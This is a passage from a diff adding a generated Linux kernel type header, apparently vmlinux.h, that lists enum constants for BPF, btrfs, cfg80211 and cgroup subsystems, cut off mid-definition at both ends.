BPF_MAP_TYPE_USER_RINGBUF = 31, + BPF_MAP_TYPE_CGRP_STORAGE = 32, + BPF_MAP_TYPE_ARENA = 33, + __MAX_BPF_MAP_TYPE = 34, +}; + +enum bpf_netdev_command { + XDP_SETUP_PROG = 0, + XDP_SETUP_PROG_HW = 1, + BPF_OFFLOAD_MAP_ALLOC = 2, + BPF_OFFLOAD_MAP_FREE = 3, + XDP_SETUP_XSK_POOL = 4, +}; + +enum bpf_perf_event_type { + BPF_PERF_EVENT_UNSPEC = 0, + BPF_PERF_EVENT_UPROBE = 1, + BPF_PERF_EVENT_URETPROBE = 2, + BPF_PERF_EVENT_KPROBE = 3, + BPF_PERF_EVENT_KRETPROBE = 4, + BPF_PERF_EVENT_TRACEPOINT = 5, + BPF_PERF_EVENT_EVENT = 6, +}; + +enum bpf_prog_type { + BPF_PROG_TYPE_UNSPEC = 0, + BPF_PROG_TYPE_SOCKET_FILTER = 1, + BPF_PROG_TYPE_KPROBE = 2, + BPF_PROG_TYPE_SCHED_CLS = 3, + BPF_PROG_TYPE_SCHED_ACT = 4, + BPF_PROG_TYPE_TRACEPOINT = 5, + BPF_PROG_TYPE_XDP = 6, + BPF_PROG_TYPE_PERF_EVENT = 7, + BPF_PROG_TYPE_CGROUP_SKB = 8, + BPF_PROG_TYPE_CGROUP_SOCK = 9, + BPF_PROG_TYPE_LWT_IN = 10, + BPF_PROG_TYPE_LWT_OUT = 11, + BPF_PROG_TYPE_LWT_XMIT = 12, + BPF_PROG_TYPE_SOCK_OPS = 13, + BPF_PROG_TYPE_SK_SKB = 14, + BPF_PROG_TYPE_CGROUP_DEVICE = 15, + BPF_PROG_TYPE_SK_MSG = 16, + BPF_PROG_TYPE_RAW_TRACEPOINT = 17, + BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 18, + BPF_PROG_TYPE_LWT_SEG6LOCAL = 19, + BPF_PROG_TYPE_LIRC_MODE2 = 20, + BPF_PROG_TYPE_SK_REUSEPORT = 21, + BPF_PROG_TYPE_FLOW_DISSECTOR = 22, + BPF_PROG_TYPE_CGROUP_SYSCTL = 23, + BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 24, + BPF_PROG_TYPE_CGROUP_SOCKOPT = 25, + BPF_PROG_TYPE_TRACING = 26, + BPF_PROG_TYPE_STRUCT_OPS = 27, + BPF_PROG_TYPE_EXT = 28, + BPF_PROG_TYPE_LSM = 29, + BPF_PROG_TYPE_SK_LOOKUP = 30, + BPF_PROG_TYPE_SYSCALL = 31, + BPF_PROG_TYPE_NETFILTER = 32, + __MAX_BPF_PROG_TYPE = 33, +}; + +enum bpf_reg_liveness { + REG_LIVE_NONE = 0, + REG_LIVE_READ32 = 1, + REG_LIVE_READ64 = 2, + REG_LIVE_READ = 3, + REG_LIVE_WRITTEN = 4, + REG_LIVE_DONE = 8, +}; + +enum bpf_reg_type { + NOT_INIT = 0, + SCALAR_VALUE = 1, + PTR_TO_CTX = 2, + CONST_PTR_TO_MAP = 3, + PTR_TO_MAP_VALUE = 4, + PTR_TO_MAP_KEY = 5, + PTR_TO_STACK = 6, + PTR_TO_PACKET_META = 7, + PTR_TO_PACKET = 8, + PTR_TO_PACKET_END = 9, + PTR_TO_FLOW_KEYS = 10, + PTR_TO_SOCKET = 11, + PTR_TO_SOCK_COMMON = 12, + PTR_TO_TCP_SOCK = 13, + PTR_TO_TP_BUFFER = 14, + PTR_TO_XDP_SOCK = 15, + PTR_TO_BTF_ID = 16, + PTR_TO_MEM = 17, + PTR_TO_ARENA = 18, + PTR_TO_BUF = 19, + PTR_TO_FUNC = 20, + CONST_PTR_TO_DYNPTR = 21, + __BPF_REG_TYPE_MAX = 22, + PTR_TO_MAP_VALUE_OR_NULL = 260, + PTR_TO_SOCKET_OR_NULL = 267, + PTR_TO_SOCK_COMMON_OR_NULL = 268, + PTR_TO_TCP_SOCK_OR_NULL = 269, + PTR_TO_BTF_ID_OR_NULL = 272, + __BPF_REG_TYPE_LIMIT = 67108863, +}; + +enum bpf_ret_code { + BPF_OK = 0, + BPF_DROP = 2, + BPF_REDIRECT = 7, + BPF_LWT_REROUTE = 128, + BPF_FLOW_DISSECTOR_CONTINUE = 129, +}; + +enum bpf_return_type { + RET_INTEGER = 0, + RET_VOID = 1, + RET_PTR_TO_MAP_VALUE = 2, + RET_PTR_TO_SOCKET = 3, + RET_PTR_TO_TCP_SOCK = 4, + RET_PTR_TO_SOCK_COMMON = 5, + RET_PTR_TO_MEM = 6, + RET_PTR_TO_MEM_OR_BTF_ID = 7, + RET_PTR_TO_BTF_ID = 8, + __BPF_RET_TYPE_MAX = 9, + RET_PTR_TO_MAP_VALUE_OR_NULL = 258, + RET_PTR_TO_SOCKET_OR_NULL = 259, + RET_PTR_TO_TCP_SOCK_OR_NULL = 260, + RET_PTR_TO_SOCK_COMMON_OR_NULL = 261, + RET_PTR_TO_RINGBUF_MEM_OR_NULL = 1286, + RET_PTR_TO_DYNPTR_MEM_OR_NULL = 262, + RET_PTR_TO_BTF_ID_OR_NULL = 264, + RET_PTR_TO_BTF_ID_TRUSTED = 1048584, + __BPF_RET_TYPE_LIMIT = 67108863, +}; + +enum bpf_stack_build_id_status { + BPF_STACK_BUILD_ID_EMPTY = 0, + BPF_STACK_BUILD_ID_VALID = 1, + BPF_STACK_BUILD_ID_IP = 2, +}; + +enum bpf_stack_slot_type { + STACK_INVALID = 0, + STACK_SPILL = 1, + STACK_MISC = 2, + STACK_ZERO = 3, + STACK_DYNPTR = 4, + STACK_ITER = 5, +}; + +enum bpf_stats_type { + BPF_STATS_RUN_TIME = 0, +}; + +enum bpf_struct_ops_state { + BPF_STRUCT_OPS_STATE_INIT = 0, + BPF_STRUCT_OPS_STATE_INUSE = 1, + BPF_STRUCT_OPS_STATE_TOBEFREE = 2, + BPF_STRUCT_OPS_STATE_READY = 3, +}; + +enum bpf_struct_walk_result { + WALK_SCALAR = 0, + WALK_PTR = 1, + WALK_STRUCT = 2, +}; + +enum bpf_task_fd_type { + BPF_FD_TYPE_RAW_TRACEPOINT = 0, + BPF_FD_TYPE_TRACEPOINT = 1, + BPF_FD_TYPE_KPROBE = 2, + BPF_FD_TYPE_KRETPROBE = 3, + BPF_FD_TYPE_UPROBE = 4, + BPF_FD_TYPE_URETPROBE = 5, +}; + +enum bpf_task_vma_iter_find_op { + task_vma_iter_first_vma = 0, + task_vma_iter_next_vma = 1, + task_vma_iter_find_vma = 2, +}; + +enum bpf_text_poke_type { + BPF_MOD_CALL = 0, + BPF_MOD_JUMP = 1, +}; + +enum bpf_tramp_prog_type { + BPF_TRAMP_FENTRY = 0, + BPF_TRAMP_FEXIT = 1, + BPF_TRAMP_MODIFY_RETURN = 2, + BPF_TRAMP_MAX = 3, + BPF_TRAMP_REPLACE = 4, +}; + +enum bpf_type { + BPF_TYPE_UNSPEC = 0, + BPF_TYPE_PROG = 1, + BPF_TYPE_MAP = 2, + BPF_TYPE_LINK = 3, +}; + +enum bpf_type_flag { + PTR_MAYBE_NULL = 256, + MEM_RDONLY = 512, + MEM_RINGBUF = 1024, + MEM_USER = 2048, + MEM_PERCPU = 4096, + OBJ_RELEASE = 8192, + PTR_UNTRUSTED = 16384, + MEM_UNINIT = 32768, + DYNPTR_TYPE_LOCAL = 65536, + DYNPTR_TYPE_RINGBUF = 131072, + MEM_FIXED_SIZE = 262144, + MEM_ALLOC = 524288, + PTR_TRUSTED = 1048576, + MEM_RCU = 2097152, + NON_OWN_REF = 4194304, + DYNPTR_TYPE_SKB = 8388608, + DYNPTR_TYPE_XDP = 16777216, + MEM_ALIGNED = 33554432, + __BPF_TYPE_FLAG_MAX = 33554433, + __BPF_TYPE_LAST_FLAG = 33554432, +}; + +enum bpf_xdp_mode { + XDP_MODE_SKB = 0, + XDP_MODE_DRV = 1, + XDP_MODE_HW = 2, + __MAX_XDP_MODE = 3, +}; + +enum br_boolopt_id { + BR_BOOLOPT_NO_LL_LEARN = 0, + BR_BOOLOPT_MCAST_VLAN_SNOOPING = 1, + BR_BOOLOPT_MST_ENABLE = 2, + BR_BOOLOPT_MAX = 3, +}; + +enum br_pkt_type { + BR_PKT_UNICAST = 0, + BR_PKT_MULTICAST = 1, + BR_PKT_BROADCAST = 2, +}; + +enum bss_compare_mode { + BSS_CMP_REGULAR = 0, + BSS_CMP_HIDE_ZLEN = 1, + BSS_CMP_HIDE_NUL = 2, +}; + +enum bss_param_flags { + BSS_PARAM_FLAGS_CTS_PROT = 1, + BSS_PARAM_FLAGS_SHORT_PREAMBLE = 2, + BSS_PARAM_FLAGS_SHORT_SLOT_TIME = 4, +}; + +enum bss_source_type { + BSS_SOURCE_DIRECT = 0, + BSS_SOURCE_MBSSID = 1, + BSS_SOURCE_STA_PROFILE = 2, +}; + +enum bt_coex_prio_table_events { + BT_COEX_PRIO_TBL_EVT_INIT_CALIB1 = 0, + BT_COEX_PRIO_TBL_EVT_INIT_CALIB2 = 1, + BT_COEX_PRIO_TBL_EVT_PERIODIC_CALIB_LOW1 = 2, + BT_COEX_PRIO_TBL_EVT_PERIODIC_CALIB_LOW2 = 3, + BT_COEX_PRIO_TBL_EVT_PERIODIC_CALIB_HIGH1 = 4, + BT_COEX_PRIO_TBL_EVT_PERIODIC_CALIB_HIGH2 = 5, + BT_COEX_PRIO_TBL_EVT_DTIM = 6, + BT_COEX_PRIO_TBL_EVT_SCAN52 = 7, + BT_COEX_PRIO_TBL_EVT_SCAN24 = 8, + BT_COEX_PRIO_TBL_EVT_RESERVED0 = 9, + BT_COEX_PRIO_TBL_EVT_RESERVED1 = 10, + BT_COEX_PRIO_TBL_EVT_RESERVED2 = 11, + BT_COEX_PRIO_TBL_EVT_RESERVED3 = 12, + BT_COEX_PRIO_TBL_EVT_RESERVED4 = 13, + BT_COEX_PRIO_TBL_EVT_RESERVED5 = 14, + BT_COEX_PRIO_TBL_EVT_RESERVED6 = 15, + BT_COEX_PRIO_TBL_EVT_MAX = 16, +}; + +enum btf_arg_tag { + ARG_TAG_CTX = 1, + ARG_TAG_NONNULL = 2, + ARG_TAG_TRUSTED = 4, + ARG_TAG_NULLABLE = 8, + ARG_TAG_ARENA = 16, +}; + +enum btf_field_iter_kind { + BTF_FIELD_ITER_IDS = 0, + BTF_FIELD_ITER_STRS = 1, +}; + +enum btf_field_type { + BPF_SPIN_LOCK = 1, + BPF_TIMER = 2, + BPF_KPTR_UNREF = 4, + BPF_KPTR_REF = 8, + BPF_KPTR_PERCPU = 16, + BPF_KPTR = 28, + BPF_LIST_HEAD = 32, + BPF_LIST_NODE = 64, + BPF_RB_ROOT = 128, + BPF_RB_NODE = 256, + BPF_GRAPH_NODE = 320, + BPF_GRAPH_ROOT = 160, + BPF_REFCOUNT = 512, + BPF_WORKQUEUE = 1024, +}; + +enum btf_func_linkage { + BTF_FUNC_STATIC = 0, + BTF_FUNC_GLOBAL = 1, + BTF_FUNC_EXTERN = 2, +}; + +enum btf_kfunc_hook { + BTF_KFUNC_HOOK_COMMON = 0, + BTF_KFUNC_HOOK_XDP = 1, + BTF_KFUNC_HOOK_TC = 2, + BTF_KFUNC_HOOK_STRUCT_OPS = 3, + BTF_KFUNC_HOOK_TRACING = 4, + BTF_KFUNC_HOOK_SYSCALL = 5, + BTF_KFUNC_HOOK_FMODRET = 6, + BTF_KFUNC_HOOK_CGROUP = 7, + BTF_KFUNC_HOOK_SCHED_ACT = 8, + BTF_KFUNC_HOOK_SK_SKB = 9, + BTF_KFUNC_HOOK_SOCKET_FILTER = 10, + BTF_KFUNC_HOOK_LWT = 11, + BTF_KFUNC_HOOK_NETFILTER = 12, + BTF_KFUNC_HOOK_KPROBE = 13, + BTF_KFUNC_HOOK_MAX = 14, +}; + +enum btrfs_block_group_flags { + BLOCK_GROUP_FLAG_IREF = 0, + BLOCK_GROUP_FLAG_REMOVED = 1, + BLOCK_GROUP_FLAG_TO_COPY = 2, + BLOCK_GROUP_FLAG_RELOCATING_REPAIR = 3, + BLOCK_GROUP_FLAG_CHUNK_ITEM_INSERTED = 4, + BLOCK_GROUP_FLAG_ZONE_IS_ACTIVE = 5, + BLOCK_GROUP_FLAG_ZONED_DATA_RELOC = 6, + BLOCK_GROUP_FLAG_NEEDS_FREE_SPACE = 7, + BLOCK_GROUP_FLAG_SEQUENTIAL_ZONE = 8, + BLOCK_GROUP_FLAG_NEW = 9, +}; + +enum btrfs_block_group_size_class { + BTRFS_BG_SZ_NONE = 0, + BTRFS_BG_SZ_SMALL = 1, + BTRFS_BG_SZ_MEDIUM = 2, + BTRFS_BG_SZ_LARGE = 3, +}; + +enum btrfs_caching_type { + BTRFS_CACHE_NO = 0, + BTRFS_CACHE_STARTED = 1, + BTRFS_CACHE_FINISHED = 2, + BTRFS_CACHE_ERROR = 3, +}; + +enum btrfs_chunk_alloc_enum { + CHUNK_ALLOC_NO_FORCE = 0, + CHUNK_ALLOC_LIMITED = 1, + CHUNK_ALLOC_FORCE = 2, + CHUNK_ALLOC_FORCE_FOR_EXTENT = 3, +}; + +enum btrfs_chunk_allocation_policy { + BTRFS_CHUNK_ALLOC_REGULAR = 0, + BTRFS_CHUNK_ALLOC_ZONED = 1, +}; + +enum btrfs_compare_tree_result { + BTRFS_COMPARE_TREE_NEW = 0, + BTRFS_COMPARE_TREE_DELETED = 1, + BTRFS_COMPARE_TREE_CHANGED = 2, + BTRFS_COMPARE_TREE_SAME = 3, +}; + +enum btrfs_compression_type { + BTRFS_COMPRESS_NONE = 0, + BTRFS_COMPRESS_ZLIB = 1, + BTRFS_COMPRESS_LZO = 2, + BTRFS_COMPRESS_ZSTD = 3, + BTRFS_NR_COMPRESS_TYPES = 4, +}; + +enum btrfs_csum_type { + BTRFS_CSUM_TYPE_CRC32 = 0, + BTRFS_CSUM_TYPE_XXHASH = 1, + BTRFS_CSUM_TYPE_SHA256 = 2, + BTRFS_CSUM_TYPE_BLAKE2 = 3, +}; + +enum btrfs_delayed_item_type { + BTRFS_DELAYED_INSERTION_ITEM = 0, + BTRFS_DELAYED_DELETION_ITEM = 1, +}; + +enum btrfs_delayed_ref_action { + BTRFS_ADD_DELAYED_REF = 1, + BTRFS_DROP_DELAYED_REF = 2, + BTRFS_ADD_DELAYED_EXTENT = 3, + BTRFS_UPDATE_DELAYED_HEAD = 4, +} __attribute__((mode(byte))); + +enum btrfs_delayed_ref_flags { + BTRFS_DELAYED_REFS_FLUSHING = 0, +}; + +enum btrfs_dev_stat_values { + BTRFS_DEV_STAT_WRITE_ERRS = 0, + BTRFS_DEV_STAT_READ_ERRS = 1, + BTRFS_DEV_STAT_FLUSH_ERRS = 2, + BTRFS_DEV_STAT_CORRUPTION_ERRS = 3, + BTRFS_DEV_STAT_GENERATION_ERRS = 4, + BTRFS_DEV_STAT_VALUES_MAX = 5, +}; + +enum btrfs_discard_state { + BTRFS_DISCARD_EXTENTS = 0, + BTRFS_DISCARD_BITMAPS = 1, + BTRFS_DISCARD_RESET_CURSOR = 2, +}; + +enum btrfs_disk_cache_state { + BTRFS_DC_WRITTEN = 0, + BTRFS_DC_ERROR = 1, + BTRFS_DC_CLEAR = 2, + BTRFS_DC_SETUP = 3, +}; + +enum btrfs_err_code { + BTRFS_ERROR_DEV_RAID1_MIN_NOT_MET = 1, + BTRFS_ERROR_DEV_RAID10_MIN_NOT_MET = 2, + BTRFS_ERROR_DEV_RAID5_MIN_NOT_MET = 3, + BTRFS_ERROR_DEV_RAID6_MIN_NOT_MET = 4, + BTRFS_ERROR_DEV_TGT_REPLACE = 5, + BTRFS_ERROR_DEV_MISSING_NOT_FOUND = 6, + BTRFS_ERROR_DEV_ONLY_WRITABLE = 7, + BTRFS_ERROR_DEV_EXCL_RUN_IN_PROGRESS = 8, + BTRFS_ERROR_DEV_RAID1C3_MIN_NOT_MET = 9, + BTRFS_ERROR_DEV_RAID1C4_MIN_NOT_MET = 10, +}; + +enum btrfs_exclusive_operation { + BTRFS_EXCLOP_NONE = 0, + BTRFS_EXCLOP_BALANCE_PAUSED = 1, + BTRFS_EXCLOP_BALANCE = 2, + BTRFS_EXCLOP_DEV_ADD = 3, + BTRFS_EXCLOP_DEV_REMOVE = 4, + BTRFS_EXCLOP_DEV_REPLACE = 5, + BTRFS_EXCLOP_RESIZE = 6, + BTRFS_EXCLOP_SWAP_ACTIVATE = 7, +}; + +enum btrfs_extent_allocation_policy { + BTRFS_EXTENT_ALLOC_CLUSTERED = 0, + BTRFS_EXTENT_ALLOC_ZONED = 1, +}; + +enum btrfs_feature_set { + FEAT_COMPAT = 0, + FEAT_COMPAT_RO = 1, + FEAT_INCOMPAT = 2, + FEAT_MAX = 3, +}; + +enum btrfs_flush_state { + FLUSH_DELAYED_ITEMS_NR = 1, + FLUSH_DELAYED_ITEMS = 2, + FLUSH_DELAYED_REFS_NR = 3, + FLUSH_DELAYED_REFS = 4, + FLUSH_DELALLOC = 5, + FLUSH_DELALLOC_WAIT = 6, + FLUSH_DELALLOC_FULL = 7, + ALLOC_CHUNK = 8, + ALLOC_CHUNK_FORCE = 9, + RUN_DELAYED_IPUTS = 10, + COMMIT_TRANS = 11, +}; + +enum btrfs_ilock_type { + __BTRFS_ILOCK_SHARED_BIT = 0, + BTRFS_ILOCK_SHARED = 1, + __BTRFS_ILOCK_SHARED_SEQ = 0, + __BTRFS_ILOCK_TRY_BIT = 1, + BTRFS_ILOCK_TRY = 2, + __BTRFS_ILOCK_TRY_SEQ = 1, + __BTRFS_ILOCK_MMAP_BIT = 2, + BTRFS_ILOCK_MMAP = 4, + __BTRFS_ILOCK_MMAP_SEQ = 2, +}; + +enum btrfs_inline_ref_type { + BTRFS_REF_TYPE_INVALID = 0, + BTRFS_REF_TYPE_BLOCK = 1, + BTRFS_REF_TYPE_DATA = 2, + BTRFS_REF_TYPE_ANY = 3, +}; + +enum btrfs_lock_nesting { + BTRFS_NESTING_NORMAL = 0, + BTRFS_NESTING_COW = 1, + BTRFS_NESTING_LEFT = 2, + BTRFS_NESTING_RIGHT = 3, + BTRFS_NESTING_LEFT_COW = 4, + BTRFS_NESTING_RIGHT_COW = 5, + BTRFS_NESTING_SPLIT = 6, + BTRFS_NESTING_NEW_ROOT = 7, + BTRFS_NESTING_MAX = 8, +}; + +enum btrfs_lockdep_trans_states { + BTRFS_LOCKDEP_TRANS_COMMIT_PREP = 0, + BTRFS_LOCKDEP_TRANS_UNBLOCKED = 1, + BTRFS_LOCKDEP_TRANS_SUPER_COMMITTED = 2, + BTRFS_LOCKDEP_TRANS_COMPLETED = 3, +}; + +enum btrfs_loop_type { + LOOP_CACHING_NOWAIT = 0, + LOOP_CACHING_WAIT = 1, + LOOP_UNSET_SIZE_CLASS = 2, + LOOP_ALLOC_CHUNK = 3, + LOOP_WRONG_SIZE_CLASS = 4, + LOOP_NO_EMPTY_SIZE = 5, +}; + +enum btrfs_map_op { + BTRFS_MAP_READ = 0, + BTRFS_MAP_WRITE = 1, + BTRFS_MAP_GET_READ_MIRRORS = 2, +}; + +enum btrfs_mod_log_op { + BTRFS_MOD_LOG_KEY_REPLACE = 0, + BTRFS_MOD_LOG_KEY_ADD = 1, + BTRFS_MOD_LOG_KEY_REMOVE = 2, + BTRFS_MOD_LOG_KEY_REMOVE_WHILE_FREEING = 3, + BTRFS_MOD_LOG_KEY_REMOVE_WHILE_MOVING = 4, + BTRFS_MOD_LOG_MOVE_KEYS = 5, + BTRFS_MOD_LOG_ROOT_REPLACE = 6, +}; + +enum btrfs_qgroup_mode { + BTRFS_QGROUP_MODE_DISABLED = 0, + BTRFS_QGROUP_MODE_FULL = 1, + BTRFS_QGROUP_MODE_SIMPLE = 2, +}; + +enum btrfs_qgroup_rsv_type { + BTRFS_QGROUP_RSV_DATA = 0, + BTRFS_QGROUP_RSV_META_PERTRANS = 1, + BTRFS_QGROUP_RSV_META_PREALLOC = 2, + BTRFS_QGROUP_RSV_LAST = 3, +}; + +enum btrfs_raid_types { + BTRFS_RAID_SINGLE = 0, + BTRFS_RAID_RAID0 = 1, + BTRFS_RAID_RAID1 = 2, + BTRFS_RAID_DUP = 3, + BTRFS_RAID_RAID10 = 4, + BTRFS_RAID_RAID5 = 5, + BTRFS_RAID_RAID6 = 6, + BTRFS_RAID_RAID1C3 = 7, + BTRFS_RAID_RAID1C4 = 8, + BTRFS_NR_RAID_TYPES = 9, +}; + +enum btrfs_rbio_ops { + BTRFS_RBIO_WRITE = 0, + BTRFS_RBIO_READ_REBUILD = 1, + BTRFS_RBIO_PARITY_SCRUB = 2, +}; + +enum btrfs_read_policy { + BTRFS_READ_POLICY_PID = 0, + BTRFS_NR_READ_POLICY = 1, +}; + +enum btrfs_ref_type { + BTRFS_REF_NOT_SET = 0, + BTRFS_REF_DATA = 1, + BTRFS_REF_METADATA = 2, + BTRFS_REF_LAST = 3, +} __attribute__((mode(byte))); + +enum btrfs_reserve_flush_enum { + BTRFS_RESERVE_NO_FLUSH = 0, + BTRFS_RESERVE_FLUSH_LIMIT = 1, + BTRFS_RESERVE_FLUSH_EVICT = 2, + BTRFS_RESERVE_FLUSH_DATA = 3, + BTRFS_RESERVE_FLUSH_FREE_SPACE_INODE = 4, + BTRFS_RESERVE_FLUSH_ALL = 5, + BTRFS_RESERVE_FLUSH_ALL_STEAL = 6, + BTRFS_RESERVE_FLUSH_EMERGENCY = 7, +}; + +enum btrfs_rsv_type { + BTRFS_BLOCK_RSV_GLOBAL = 0, + BTRFS_BLOCK_RSV_DELALLOC = 1, + BTRFS_BLOCK_RSV_TRANS = 2, + BTRFS_BLOCK_RSV_CHUNK = 3, + BTRFS_BLOCK_RSV_DELOPS = 4, + BTRFS_BLOCK_RSV_DELREFS = 5, + BTRFS_BLOCK_RSV_EMPTY = 6, + BTRFS_BLOCK_RSV_TEMP = 7, +}; + +enum btrfs_send_cmd { + BTRFS_SEND_C_UNSPEC = 0, + BTRFS_SEND_C_SUBVOL = 1, + BTRFS_SEND_C_SNAPSHOT = 2, + BTRFS_SEND_C_MKFILE = 3, + BTRFS_SEND_C_MKDIR = 4, + BTRFS_SEND_C_MKNOD = 5, + BTRFS_SEND_C_MKFIFO = 6, + BTRFS_SEND_C_MKSOCK = 7, + BTRFS_SEND_C_SYMLINK = 8, + BTRFS_SEND_C_RENAME = 9, + BTRFS_SEND_C_LINK = 10, + BTRFS_SEND_C_UNLINK = 11, + BTRFS_SEND_C_RMDIR = 12, + BTRFS_SEND_C_SET_XATTR = 13, + BTRFS_SEND_C_REMOVE_XATTR = 14, + BTRFS_SEND_C_WRITE = 15, + BTRFS_SEND_C_CLONE = 16, + BTRFS_SEND_C_TRUNCATE = 17, + BTRFS_SEND_C_CHMOD = 18, + BTRFS_SEND_C_CHOWN = 19, + BTRFS_SEND_C_UTIMES = 20, + BTRFS_SEND_C_END = 21, + BTRFS_SEND_C_UPDATE_EXTENT = 22, + BTRFS_SEND_C_MAX_V1 = 22, + BTRFS_SEND_C_FALLOCATE = 23, + BTRFS_SEND_C_FILEATTR = 24, + BTRFS_SEND_C_ENCODED_WRITE = 25, + BTRFS_SEND_C_MAX_V2 = 25, + BTRFS_SEND_C_ENABLE_VERITY = 26, + BTRFS_SEND_C_MAX_V3 = 26, + BTRFS_SEND_C_MAX = 26, +}; + +enum btrfs_subpage_type { + BTRFS_SUBPAGE_METADATA = 0, + BTRFS_SUBPAGE_DATA = 1, +}; + +enum btrfs_trans_state { + TRANS_STATE_RUNNING = 0, + TRANS_STATE_COMMIT_PREP = 1, + TRANS_STATE_COMMIT_START = 2, + TRANS_STATE_COMMIT_DOING = 3, + TRANS_STATE_UNBLOCKED = 4, + TRANS_STATE_SUPER_COMMITTED = 5, + TRANS_STATE_COMPLETED = 6, + TRANS_STATE_MAX = 7, +}; + +enum btrfs_tree_block_status { + BTRFS_TREE_BLOCK_CLEAN = 0, + BTRFS_TREE_BLOCK_INVALID_NRITEMS = 1, + BTRFS_TREE_BLOCK_INVALID_PARENT_KEY = 2, + BTRFS_TREE_BLOCK_BAD_KEY_ORDER = 3, + BTRFS_TREE_BLOCK_INVALID_LEVEL = 4, + BTRFS_TREE_BLOCK_INVALID_FREE_SPACE = 5, + BTRFS_TREE_BLOCK_INVALID_OFFSETS = 6, + BTRFS_TREE_BLOCK_INVALID_BLOCKPTR = 7, + BTRFS_TREE_BLOCK_INVALID_ITEM = 8, + BTRFS_TREE_BLOCK_INVALID_OWNER = 9, + BTRFS_TREE_BLOCK_WRITTEN_NOT_SET = 10, +}; + +enum btrfs_trim_state { + BTRFS_TRIM_STATE_UNTRIMMED = 0, + BTRFS_TRIM_STATE_TRIMMED = 1, + BTRFS_TRIM_STATE_TRIMMING = 2, +}; + +enum buddy { + FIRST = 0, + LAST = 1, +}; + +enum bug_trap_type { + BUG_TRAP_TYPE_NONE = 0, + BUG_TRAP_TYPE_WARN = 1, + BUG_TRAP_TYPE_BUG = 2, +}; + +enum bus_notifier_event { + BUS_NOTIFY_ADD_DEVICE = 0, + BUS_NOTIFY_DEL_DEVICE = 1, + BUS_NOTIFY_REMOVED_DEVICE = 2, + BUS_NOTIFY_BIND_DRIVER = 3, + BUS_NOTIFY_BOUND_DRIVER = 4, + BUS_NOTIFY_UNBIND_DRIVER = 5, + BUS_NOTIFY_UNBOUND_DRIVER = 6, + BUS_NOTIFY_DRIVER_NOT_BOUND = 7, +}; + +enum cache_type { + CACHE_TYPE_NOCACHE = 0, + CACHE_TYPE_INST = 1, + CACHE_TYPE_DATA = 2, + CACHE_TYPE_SEPARATE = 3, + CACHE_TYPE_UNIFIED = 4, +}; + +enum cb_command { + cb_nop = 0, + cb_iaaddr = 1, + cb_config = 2, + cb_multi = 3, + cb_tx = 4, + cb_ucode = 5, + cb_dump = 6, + cb_tx_sf = 8, + cb_tx_nc = 16, + cb_cid = 7936, + cb_i = 8192, + cb_s = 16384, + cb_el = 32768, +}; + +enum cb_status { + cb_complete = 32768, + cb_ok = 8192, +}; + +enum cc_attr { + CC_ATTR_MEM_ENCRYPT = 0, + CC_ATTR_HOST_MEM_ENCRYPT = 1, + CC_ATTR_GUEST_MEM_ENCRYPT = 2, + CC_ATTR_GUEST_STATE_ENCRYPT = 3, + CC_ATTR_GUEST_UNROLL_STRING_IO = 4, + CC_ATTR_GUEST_SEV_SNP = 5, + CC_ATTR_HOST_SEV_SNP = 6, +}; + +enum cfg80211_assoc_req_flags { + ASSOC_REQ_DISABLE_HT = 1, + ASSOC_REQ_DISABLE_VHT = 2, + ASSOC_REQ_USE_RRM = 4, + CONNECT_REQ_EXTERNAL_AUTH_SUPPORT = 8, + ASSOC_REQ_DISABLE_HE = 16, + ASSOC_REQ_DISABLE_EHT = 32, + CONNECT_REQ_MLO_SUPPORT = 64, + ASSOC_REQ_SPP_AMSDU = 128, +}; + +enum cfg80211_bss_frame_type { + CFG80211_BSS_FTYPE_UNKNOWN = 0, + CFG80211_BSS_FTYPE_BEACON = 1, + CFG80211_BSS_FTYPE_PRESP = 2, + CFG80211_BSS_FTYPE_S1G_BEACON = 3, +}; + +enum cfg80211_connect_params_changed { + UPDATE_ASSOC_IES = 1, + UPDATE_FILS_ERP_INFO = 2, + UPDATE_AUTH_TYPE = 4, +}; + +enum cfg80211_event_type { + EVENT_CONNECT_RESULT = 0, + EVENT_ROAMED = 1, + EVENT_DISCONNECTED = 2, + EVENT_IBSS_JOINED = 3, + EVENT_STOPPED = 4, + EVENT_PORT_AUTHORIZED = 5, +}; + +enum cfg80211_nan_conf_changes { + CFG80211_NAN_CONF_CHANGED_PREF = 1, + CFG80211_NAN_CONF_CHANGED_BANDS = 2, +}; + +enum cfg80211_rnr_iter_ret { + RNR_ITER_CONTINUE = 0, + RNR_ITER_BREAK = 1, + RNR_ITER_ERROR = 2, +}; + +enum cfg80211_signal_type { + CFG80211_SIGNAL_TYPE_NONE = 0, + CFG80211_SIGNAL_TYPE_MBM = 1, + CFG80211_SIGNAL_TYPE_UNSPEC = 2, +}; + +enum cfg80211_station_type { + CFG80211_STA_AP_CLIENT = 0, + CFG80211_STA_AP_CLIENT_UNASSOC = 1, + CFG80211_STA_AP_MLME_CLIENT = 2, + CFG80211_STA_AP_STA = 3, + CFG80211_STA_IBSS = 4, + CFG80211_STA_TDLS_PEER_SETUP = 5, + CFG80211_STA_TDLS_PEER_ACTIVE = 6, + CFG80211_STA_MESH_PEER_KERNEL = 7, + CFG80211_STA_MESH_PEER_USER = 8, +}; + +enum cfi_mode { + CFI_AUTO = 0, + CFI_OFF = 1, + CFI_KCFI = 2, + CFI_FINEIBT = 3, +}; + +enum cgroup1_param { + Opt_all = 0, + Opt_clone_children = 1, + Opt_cpuset_v2_mode = 2, + Opt_name = 3, + Opt_none = 4, + Opt_noprefix = 5, + Opt_release_agent = 6, + Opt_xattr = 7, + Opt_favordynmods = 8, + Opt_nofavordynmods = 9, +}; + +enum cgroup2_param { + Opt_nsdelegate = 0, + Opt_favordynmods___2 = 1, + Opt_memory_localevents = 2, + Opt_memory_recursiveprot = 3, + Opt_memory_hugetlb_accounting = 4, + Opt_pids_localevents = 5, + nr__cgroup2_params = 6, +}; + +enum cgroup_bpf_attach_type { + CGROUP_BPF_ATTACH_TYPE_INVALID = -1, + CGROUP_INET_INGRESS = 0, + CGROUP_INET_EGRESS = 1, + CGROUP_INET_SOCK_CREATE = 2, + CGROUP_SOCK_OPS = 3, + CGROUP_DEVICE = 4, + CGROUP_INET4_BIND = 5, + CGROUP_INET6_BIND = 6, + CGROUP_INET4_CONNECT = 7, + CGROUP_INET6_CONNECT = 8, + CGROUP_UNIX_CONNECT = 9, + CGROUP_INET4_POST_BIND = 10, + CGROUP_INET6_POST_BIND = 11, + CGROUP_UDP4_SENDMSG = 12, + CGROUP_UDP6_SENDMSG = 13, + CGROUP_UNIX_SENDMSG = 14, + 